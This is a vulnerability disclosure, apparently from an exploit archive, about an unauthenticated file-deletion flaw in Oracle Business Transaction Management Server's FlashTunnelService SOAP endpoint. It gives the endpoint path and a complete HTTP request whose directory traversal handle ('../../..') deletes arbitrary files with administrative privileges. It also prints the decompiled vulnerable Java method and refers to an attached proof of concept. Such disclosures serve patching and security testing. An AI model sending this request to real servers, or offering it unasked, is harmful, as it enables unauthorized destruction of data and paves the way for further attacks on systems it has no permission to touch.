171 | Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService
Remote File Deletion
tested against: Microsoft Windows Server 2003 r2 sp2
Oracle WebLogic Server 12c (12.1.1)
Oracle Business Transaction Management Server 12.1.0.2.7 (Production version)
files tested:
oepe-indigo-installer-12.1.1.0.1.201203120349-12.1.1-win32.exe (weblogic)
download url: http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html
BTM_Servers_12.1.0.2.7.zip (BTM, production version)
download url: http://www.oracle.com/technetwork/oem/downloads/btw-downloads-207704.html
vulnerability:
the mentioned product installs a web service
called "FlashTunnelService" which can be reached
without prior authentication and processes incoming
SOAP requests.
It can be reached at the following uri:
http://[host]:7001/btmui/soa/flash_svc/
This soap interface exposes the 'deleteFile' function
which could allow to delete arbitrary files with administrative
privileges on the target
server through a directory traversal vulnerability.
This could be useful for further attacks.
Example packet:
POST /btmui/soa/flash_svc/ HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://soa.amberpoint.com/deleteFile"
User-Agent: Jakarta Commons-HttpClient/3.1
Host: [host]:7001
Content-Length: [length]
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">
<soapenv:Header/>
<soapenv:Body>
<int:deleteFileRequest>
<int:deleteFile handle="../../../../../../../../../../../../somepath/somefile.ext">
<typ:DeleteFileRequestVersion>
</typ:DeleteFileRequestVersion>
</int:deleteFile>
</int:deleteFileRequest>
</soapenv:Body>
</soapenv:Envelope>
Vulnerable code, see the decompiled com.amberpoint.flashtunnel.impl.FlashTunnelServiceImpl class:
...
public IDeleteFileResponse deleteFile(IDeleteFileRequest request)
throws SOAPFaultException
{
DeleteFileResponse dfr = new DeleteFileResponse();
String handle = request.getHandle();
File f = getFileFromHandle(handle);
if(f != null)
f.delete();
return dfr;
}
...
As attachment, proof of concept code.
